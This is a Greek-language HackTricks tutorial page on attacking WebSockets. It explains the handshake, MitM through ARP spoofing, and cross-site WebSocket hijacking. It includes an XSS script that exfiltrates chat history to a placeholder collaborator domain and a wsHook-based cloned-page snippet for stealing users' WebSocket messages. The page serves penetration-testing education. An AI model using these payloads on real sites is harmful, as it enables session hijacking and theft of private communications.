WebSocket Attacks

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Τι είναι οι WebSockets

Οι συνδέσεις WebSocket δημιουργούνται μέσω μιας αρχικής χειραψίας HTTP και σχεδιάστηκαν να είναι μακροβιότερες, επιτρέποντας την αμφίδρομη ανταλλαγή μηνυμάτων ανά πάσα στιγμή χωρίς την ανάγκη για ένα συστηματικό σύστημα. Αυτό καθιστά τα WebSockets ιδιαίτερα ευνοϊκά για εφαρμογές που απαιτούν χαμηλή καθυστέρηση ή επικοινωνία που προκαλείται από τον διακομιστή, όπως ζωντανά ροές χρηματοοικονομικών δεδομένων.

Δημιουργία Συνδέσεων WebSocket

Μια λεπτομερής εξήγηση για τη δημιουργία συνδέσεων WebSocket μπορεί να βρεθεί εδώ. Συνοψίζοντας, οι συνδέσεις WebSocket συνήθως εκκινούν μέσω JavaScript που εκτελείται στην πλευρά του πελάτη, όπως φαίνεται παρακάτω:

var ws = new WebSocket("wss://normal-website.com/ws");

Το πρωτόκολλο wss υποδηλώνει μια ασφαλή σύνδεση WebSocket με TLS, ενώ το ws υποδηλώνει μια μη ασφαλή σύνδεση.

Κατά τη διάρκεια της δημιουργίας της σύνδεσης, πραγματοποιείται μια χειραψία μεταξύ του προγράμματος περιήγησης και του διακομιστή μέσω του πρωτοκόλλου HTTP. Η διαδικασία της χειραψίας περιλαμβάνει την αποστολή ενός αιτήματος από τον προγραμματιστή περιήγησης και την απόκριση του διακομιστή, όπως φαίνεται στα παρακάτω παραδείγματα:

Ο προγραμματιστής περιήγησης αποστέλλει ένα αίτημα χειραψίας:

GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

Απόκριση χειραψίας του διακομιστή:

HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

Η σύνδεση παραμένει ανοιχτή για ανταλλαγή μηνυμάτων και στις δύο κατευθύνσεις μόλις καθιερωθεί.

Κύρια σημεία της αρχικής συνεδρίας WebSocket:

  • Οι κεφαλίδες Connection και Upgrade σηματοδοτούν την έναρξη μιας αρχικής συνεδρίας WebSocket.

  • Η κεφαλίδα Sec-WebSocket-Version υποδεικνύει την επιθυμητή έκδοση πρωτοκόλλου WebSocket, συνήθως 13.

  • Ένας τυχαίος κωδικοποιημένος σε Base64 τιμή αποστέλλεται στην κεφαλίδα Sec-WebSocket-Key, εξασφαλίζοντας ότι κάθε αρχική συνεδρία είναι μοναδική, προκειμένου να αποφευχθούν προβλήματα με ενδιάμεσους διακομιστές προσωρινής αποθήκευσης. Αυτή η τιμή δεν χρησιμοποιείται για ταυτοποίηση, αλλά για να επιβεβαιωθεί ότι η απόκριση δεν παράγεται από έναν κακοδιαμορφωμένο διακομιστή ή προσωρινή αποθήκευση.

  • Η κεφαλίδα Sec-WebSocket-Accept στην απόκριση του διακομιστή είναι ένα hash της Sec-WebSocket-Key, επαληθεύοντας την πρόθεση του διακομιστή να ανοίξει μια σύνδεση WebSocket.

Αυτά τα χαρακτηριστικά εξασφαλίζουν ότι η διαδικασία της αρχικής συνεδρίας είναι ασφαλής και αξιόπιστη, ανοίγοντας τον δρόμο για αποτελεσματική επικοινωνία πραγματικού χρόνου.

Κονσόλα Linux

Μπορείτε να χρησιμοποιήσετε το websocat για να καθιερώσετε μια ακατέργαστη σύνδεση με ένα WebSocket.

websocat --insecure wss://10.10.10.10:8000 -v

Ή για να δημιουργήσετε έναν διακομιστή websocat:

websocat -s 0.0.0.0:8000 #Listen in port 8000

Επίθεση MitM σε συνδέσεις websocket

Εάν διαπιστώσετε ότι οι πελάτες είναι συνδεδεμένοι σε ένα HTTP websocket από το τρέχον τοπικό δίκτυο, μπορείτε να δοκιμάσετε μια επίθεση ARP Spoofing για να πραγματοποιήσετε μια επίθεση MitM μεταξύ του πελάτη και του διακομιστή. Αφού ο πελάτης προσπαθήσει να συνδεθεί, μπορείτε να χρησιμοποιήσετε:

websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v

Απαρίθμηση Websockets

Μπορείτε να χρησιμοποιήσετε το εργαλείο https://github.com/PalindromeLabs/STEWS για να ανακαλύψετε, να εντοπίσετε και να αναζητήσετε γνωστές ευπάθειες σε websockets αυτόματα.

Εργαλεία εντοπισμού σφαλμάτων Websocket

  • Το Burp Suite υποστηρίζει την MitM επικοινωνία websockets με πολύ παρόμοιο τρόπο με αυτόν που χρησιμοποιεί για την κανονική επικοινωνία HTTP.

  • Η επέκταση socketsleuth του Burp Suite θα σας επιτρέψει να διαχειριστείτε καλύτερα τις επικοινωνίες Websocket στο Burp, παίρνοντας το ιστορικό, ορίζοντας κανόνες ανάκλησης, χρησιμοποιώντας κανόνες αντιστοίχισης και αντικατάστασης, χρησιμοποιώντας το Intruder και το AutoRepeater.

  • Το WSSiP: Συντομογραφία για "WebSocket/Socket.io Proxy", αυτό το εργαλείο, γραμμένο σε Node.js, παρέχει μια διεπαφή χρήστη για να καταγράφει, παρεμβάλλει, να στέλνει προσαρμοσμένα μηνύματα και να προβάλλει όλες τις επικοινωνίες WebSocket και Socket.IO μεταξύ του πελάτη και του διακομιστή.

  • Το wsrepl είναι ένα διαδραστικό websocket REPL που έχει σχεδιαστεί ειδικά για τον έλεγχο διείσδυσης. Παρέχει μια διεπαφή για την παρατήρηση εισερχόμενων μηνυμάτων websocket και την αποστολή νέων, με ένα εύκολο στη χρήση πλαίσιο για την αυτοματοποίηση αυτής της επικοινωνίας.

  • Το https://websocketking.com/ είναι ένα web για επικοινωνία με άλλα ιστότοπα χρησιμοποιώντας websockets.

  • Το https://hoppscotch.io/realtime/websocket μεταξύ άλλων τύπων επικοινωνίας/πρωτοκόλλων, παρέχει ένα web για επικοινωνία με άλλα ιστότοπα χρησιμοποιώντας websockets.

Εργαστήριο Websocket

Στο Burp-Suite-Extender-Montoya-Course έχετε έναν κώδικα για να ξεκινήσετε έναν ιστότοπο χρησιμοποιώντας websockets και σε αυτήν την ανάρτηση μπορείτε να βρείτε μια εξήγηση.

Απάτη Cross-site WebSocket (CSWSH)

Η Cross-site WebSocket hijacking, επίσης γνωστή ως cross-origin WebSocket hijacking, αναγνωρίζεται ως ένα ειδικό περιστατικό της Cross-Site Request Forgery (CSRF) που επηρεάζει τις αρχικές συνδέσεις WebSocket. Αυτή η ευπάθεια προκύπτει όταν οι αρχικές συνδέσεις WebSocket επαληθεύονται αποκλειστικά μέσω HTTP cookies χωρίς CSRF tokens ή παρόμοια μέτρα ασφαλείας.

Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν αυτό δημιουργώντας μια κακόβουλη ιστοσελίδα που ξεκινά μια συνδεση WebSocket από απόσταση σε μια ευπαθή εφαρμογή. Ως εκ τούτου, αυτή η σύνδεση θεωρείται μέρος της συνεδρίας του θύματος με την εφαρμογή, εκμεταλλευόμενη την έλλειψη προστασίας CSRF στον μηχανισμό διαχείρισης της συνεδρίας.

Απλή Επίθεση

Σημειώστε ότι κατά την καθιέρωση μιας σύνδεσης websocket το cookie αποστέλλεται στον διακομιστή. Ο διακομιστής μπορεί να το χρησιμοποιεί για να συσχετίσει κάθε συγκεκριμένο χρήστη με την συνεδρία του websocket βασισμένη στο απεσταλμένο cookie.

Έπειτα, αν για παράδειγμα ο διακομιστής websocket επιστρέφει το ιστορικό της συνομιλίας ενός χρήστη αν σταλεί ένα μήνυμα με το "READY", τότε ένα απλό XSS που θεσπίζει τη σύνδεση (το cookie θα αποσταλεί αυτόματα για να εξουσιοδοτήσει το θύμα) αποστέλλοντας το "READY" θα μπορεί να ανακτήσει το ιστορικό της συνομιλίας.

<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>

Σε αυτή την ανάρτηση ιστολογίου https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/, ο επιτιθέμενος κατάφερε να εκτελέσει αυθαίρετο Javascript σε ένα subdomain του τομέα όπου πραγματοποιούνταν η επικοινωνία του web socket. Επειδή ήταν ένα subdomain, το cookie ήταν αποστέλλεται, και επειδή το Websocket δεν ελέγχει σωστά την προέλευση (Origin), ήταν δυνατό να επικοινωνήσει μαζί του και να κλέψει τα αναγνωριστικά (tokens) από αυτό.

Κλοπή δεδομένων από τον χρήστη

Αντιγράψτε την ιστοσελίδα εφαρμογής που θέλετε να παραπλανήσετε (τα αρχεία .html για παράδειγμα) και μέσα στο script όπου πραγματοποιείται η επικοινωνία του web socket, προσθέστε αυτόν τον κώδικα:

//This is the script tag to load the websocket hooker
<script src='wsHook.js'></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function(data, url) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "client_msg?m="+data, true);
xhttp.send();
}
wsHook.after = function(messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
xhttp.send();
return messageEvent;
}

Τώρα κατεβάστε το αρχείο wsHook.js από https://github.com/skepticfx/wshook και αποθηκεύστε το μέσα στον φάκελο με τα αρχεία του ιστότοπου. Αποκαλύπτοντας την ιστοσελίδα και κάνοντας έναν χρήστη να συνδεθεί σε αυτήν, θα μπορείτε να κλέψετε τα μηνύματα που αποστέλλονται και λαμβάνονται μέσω του websocket:

sudo python3 -m http.server 80

Συνθήκες Αγώνας (Race Conditions)

Οι Συνθήκες Αγώνας στα WebSockets είναι επίσης ένα θέμα, ελέγξτε αυτές τις πληροφορίες για να μάθετε περισσότερα.

Άλλες ευπάθειες

Καθώς τα Web Sockets είναι ένας μηχανισμός για αποστολή δεδομένων προς τον διακομιστή και την πλευρά του πελάτη, ανάλογα με τον τρόπο που ο διακομιστής και ο πελάτης χειρίζονται τις πληροφορίες, τα Web Sockets μπορούν να χρησιμοποιηθούν για την εκμετάλλευση πολλών άλλων ευπαθειών όπως XSS, SQLi ή οποιαδήποτε άλλη κοινή ευπάθεια του web χρησιμοποιώντας εισαγωγή ενός χρήστη από ένα WebSocket.

WebSocket Smuggling

Αυτή η ευπάθεια μπορεί να σας επιτρέψει να παρακάμψετε τους περιορισμούς αντίστροφων διαμεσολαβητών κάνοντας τους να πιστέψουν ότι έγινε μια επικοινωνία WebSocket (ακόμα κι αν δεν είναι αληθές). Αυτό μπορεί να επιτρέψει σε έναν επιτιθέμενο να έχει πρόσβαση σε κρυφούς σημείους πρόσβασης. Για περισσότερες πληροφορίες, ελέγξτε την ακόλουθη σελίδα:

pageUpgrade Header Smuggling

Αναφορές

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Last updated